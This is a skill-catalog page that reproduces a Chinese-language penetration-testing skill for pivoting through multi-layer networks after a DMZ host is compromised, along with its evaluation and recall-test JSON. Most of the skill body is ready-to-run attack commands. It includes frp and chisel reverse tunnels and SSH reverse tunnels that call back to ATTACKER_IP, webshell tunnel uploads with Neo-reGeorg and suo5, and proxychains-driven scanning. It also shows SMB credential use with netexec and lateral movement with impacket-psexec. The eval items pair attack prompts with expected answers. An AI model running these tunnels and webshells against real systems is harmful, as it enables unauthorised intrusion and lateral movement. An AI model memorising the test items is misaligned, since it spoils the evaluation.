
Multi Layer Network
- 28 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
multi-layer-network is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- multi-layer-network
- AI & Agent Building
- AI-coding skill
Multi Layer Network by the numbers
- 28 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,505 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill multi-layer-networkAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 28 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
多层网络渗透方法论
⛔ 深入参考(必读)
- 需要 frp/chisel/Neo-reGeorg/SSH 隧道配置命令、多跳代理链、proxychains 用法 → references/tunnel-tools.md
---
Phase 1: 边界突破与立足点
获取 DMZ 主机 Shell 后,立即收集网络信息:
ip addr && ip route && arp -a && cat /etc/hosts # Linux
ipconfig /all && route print && arp -a # Windows关键判断:
- 双网卡(eth0=外网, eth1=10.x.x.x)→ 天然跳板
- 只有内网 IP → 需要搭建反向隧道
目标网络测绘
for i in $(seq 1 254); do ping -c 1 -W 1 10.0.0.$i &>/dev/null && echo "10.0.0.$i alive"; done
fscan -h 10.0.0.0/24 -nopocPhase 2: 隧道选择决策树
目标出网情况?
├─ 可出网(有外网访问)
│ ├─ 有 SSH 凭据?→ SSH -D 1080(零部署,最简单)
│ ├─ 需要长期稳定?→ frp(断线重连)
│ └─ 快速部署?→ chisel(单二进制)
├─ 仅 HTTP 出网 → Neo-reGeorg HTTP 隧道
└─ 完全不出网 → SSH 反向隧道 / 在跳板上中转所有工具的详细配置命令见 → references/tunnel-tools.md
隧道工具选择速查
| 场景 | 推荐工具 | 原因 |
|---|---|---|
| 有 SSH 凭据 | SSH 隧道 | 零部署,最简单 |
| 目标出网 + 长期使用 | frp | 最稳定,支持断线重连 |
| 目标出网 + 快速部署 | chisel | 单二进制,无配置文件 |
| 仅 HTTP 出网 | Neo-reGeorg | HTTP 隧道穿越防火墙 |
| 高性能需求 | ligolo-ng | TUN 接口,接近原生性能 |
Phase 3: 深层渗透
通过代理进入内网后,按优先级: 1. 内网侦察 2. 域环境攻击 3. 凭据喷洒 4. 横向移动
注意事项
- proxychains 只支持 TCP,不支持 ICMP(ping 不可用,nmap 用
-Pn -sT) - 隧道建立后先
proxychains curl测试连通性再做大范围扫描 - 隧道进程容易中断,用
autossh或 frp 断线重连保持稳定 - 记录每一跳的凭据和隧道命令,便于重建
Proxychains 限制
- UDP 不支持:proxychains 仅代理 TCP,UDP 扫描(-sU)会失败
{
"skill_name": "multi-layer-network",
"evals": [
{
"id": 1,
"name": "multilayer-frp-chisel-config",
"prompt": "你攻破了 DMZ 主机(公网IP + 内网 10.0.1.5),需要建立 SOCKS5 代理访问内网 10.0.1.0/24。请分别写出用 frp 和 chisel 的具体配置/命令。",
"expected_output": "frp: 攻击机运行 frps(bind_port=7000), DMZ运行 frpc(server_addr=攻击机,plugin=socks5,remote_port=1080)。chisel: 攻击机 chisel server --reverse --port 8080, DMZ chisel client 攻击机:8080 R:socks",
"expectations": [
"frps|frpc|frp server|frp client|frp配置",
"chisel server|chisel client|反向|reverse",
"socks5|SOCKS代理|1080",
"bind_port|server_addr|端口配置",
"反向连接|从DMZ连出|穿越防火墙"
],
"required_terms": [
"bind_port",
"server_addr",
"SOCKS代理"
]
},
{
"id": 2,
"name": "multilayer-proxychains-tcp-limitation",
"prompt": "你通过 proxychains + SOCKS5 代理对内网扫描,发现 nmap -sU(UDP扫描)一直超时没结果,但 nmap -sT(TCP扫描)正常。为什么?",
"expected_output": "proxychains 只支持 TCP 协议,不支持 UDP。SOCKS5 代理的数据封装是基于 TCP 的,所以 UDP 扫描(-sU)、ICMP ping、SYN扫描(-sS)都不能通过 proxychains 使用",
"expectations": [
"proxychains|只支持TCP|TCP-only",
"UDP不支持|UDP扫描失败|-sU",
"SOCKS5|TCP封装|协议限制",
"-sT|全连接|TCP扫描|可用",
"ICMP|-sS|SYN|也不支持"
],
"required_terms": [
"UDP不支持",
"SOCKS5",
"ICMP"
]
},
{
"id": 3,
"name": "multilayer-neoregeorg-firewall-restricted",
"prompt": "内网环境防火墙极严格,只允许 80/443 出站,所有 SSH/反向 Shell 都无法建立。你如何建立隧道?",
"expected_output": "使用 Neo-reGeorg 建立 HTTP 隧道:上传 tunnel.php/aspx 到已攻破的 Web 服务器,通过 80/443 端口封装 SOCKS 流量。防火墙看到的是正常 HTTP 流量",
"expectations": [
"Neo-reGeorg|reGeorg|HTTP隧道",
"tunnel.php|tunnel.aspx|Web服务器|上传脚本",
"80|443|HTTP|HTTPS|正常流量",
"防火墙|只允许HTTP|绕过限制",
"SOCKS|封装|代理|穿透"
],
"required_terms": [
"tunnel.php",
"Neo-reGeorg",
"reGeorg"
]
}
]
}
{
"skill_id": "multi-layer-network",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"pivot",
"隧道",
"proxy",
"tunnel"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "工具搜索",
"keywords": [
"frp",
"chisel",
"socks",
"内网穿透"
]
},
{
"id": 3,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"端口转发",
"跳板",
"multi-layer"
]
},
{
"id": 4,
"type": "keyword_negative",
"description": "不应被web漏洞召回",
"keywords": [
"sql injection",
"xss"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "multi-layer-network-scenario",
"scenario": "目标在多层网络中,需要从 DMZ 穿透到内网。请搜索多层网络渗透方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "multi-layer|多层|network|proxy|隧道"
},
{
"tool": "read_skill",
"id": "multi-layer-network"
}
]
}
]
}
隧道工具配置详解
frp(最稳定,推荐长期使用)
# 攻击者:启动 frps
frps -c frps.ini
# frps.ini: [common] bind_port = 7000
# 目标:上传并启动 frpc
frpc -c frpc.ini
# frpc.ini:
# [common]
# server_addr = ATTACKER_IP
# server_port = 7000
# [socks5]
# type = tcp
# remote_port = 1080
# plugin = socks5攻击者本地 1080 端口即为内网 SOCKS5 代理。
chisel(单二进制,快速部署)
# 攻击者
chisel server --reverse --port 8080
# 目标
chisel client ATTACKER_IP:8080 R:1080:socksNeo-reGeorg(HTTP 隧道,仅 HTTP 出网时使用)
# 生成 webshell 隧道文件
python neoreg.py generate -k PASSWORD
# 上传 tunnel.php 到 Web 目录
# 攻击者连接
python neoreg.py -k PASSWORD -u http://target/tunnel.php -p 1080SSH 隧道(有 SSH 凭据时最简单)
# 动态 SOCKS 代理(一条命令搞定)
ssh -D 1080 -N -f user@JUMPBOX
# 本地端口转发(访问内网特定服务)
ssh -L 3389:INTERNAL_HOST:3389 -N -f user@JUMPBOX
# 然后 rdesktop 127.0.0.1:3389
# 远程端口转发(把内网服务暴露到攻击者)
ssh -R 8888:INTERNAL_HOST:80 -N -f user@JUMPBOX
# SSH 反向隧道(从目标反向连接到攻击者)
ssh -R 1080 attacker@ATTACKER_IP多跳代理链
当目标在第三层网络(攻击者 → DMZ → 内网A → 内网B):
攻击者 ←[frp/chisel]→ DMZ跳板(10.0.0.5) ←[SSH/frp]→ 内网A主机(172.16.0.10) → 目标网段(192.168.x.x)方法一:链式 SSH
ssh -J user1@DMZ,user2@10.0.0.5 user3@172.16.0.10方法二:链式 SOCKS
# 第一层:DMZ → 攻击者 SOCKS :1080
ssh -D 1080 user@DMZ
# 第二层:通过第一层代理建立到内网A的隧道
proxychains ssh -D 1081 user@10.0.0.5
# proxychains.conf 改为 socks5 127.0.0.1 1081 访问最深层方法三:frp 级联 在每一跳上部署 frpc,层层转发到攻击者的 frps。
proxychains 配置与使用
# /etc/proxychains4.conf 末尾添加:
socks5 127.0.0.1 1080# 通过代理执行工具
proxychains nmap -sT -Pn -p 22,80,445,3389 10.0.0.0/24
proxychains netexec smb 10.0.0.0/24 -u USER -p PASS
proxychains curl http://10.0.0.100/
proxychains impacket-psexec DOMAIN/admin:pass@10.0.0.1⚠️ proxychains 只支持 TCP,不支持 ICMP(ping 不可用,nmap 用 `-Pn -sT`)
neo-reGeorg — Web 隧道代理
当只有 HTTP/HTTPS 出网(防火墙封锁其他端口)时,通过 Webshell 建立 SOCKS5 隧道:
# 生成隧道 Webshell(支持 PHP/ASPX/JSP)
python3 /pentest/Neo-reGeorg/neoreg.py generate -k PASSWORD
# 上传生成的 tunnel.php 到目标 Web 服务器
# 启动本地 SOCKS5 代理
python3 /pentest/Neo-reGeorg/neoreg.py -k PASSWORD -u http://TARGET/tunnel.php -p 1080
# 通过代理访问内网
proxychains nmap -sT -Pn 10.0.0.0/24suo5 — HTTP 正向代理隧道
基于 HTTP 的高性能正向代理,比 reGeorg 更快更稳定:
# 上传 suo5 服务端(Go 编译的单文件 Webshell,支持 JSP/PHP/ASPX)
# 服务端文件在 /pentest/suo5/
# 连接(SOCKS5 代理)
./suo5 -t http://TARGET/suo5.jsp -l 127.0.0.1:1080
# 通过代理访问内网
proxychains fscan -h 10.0.0.0/24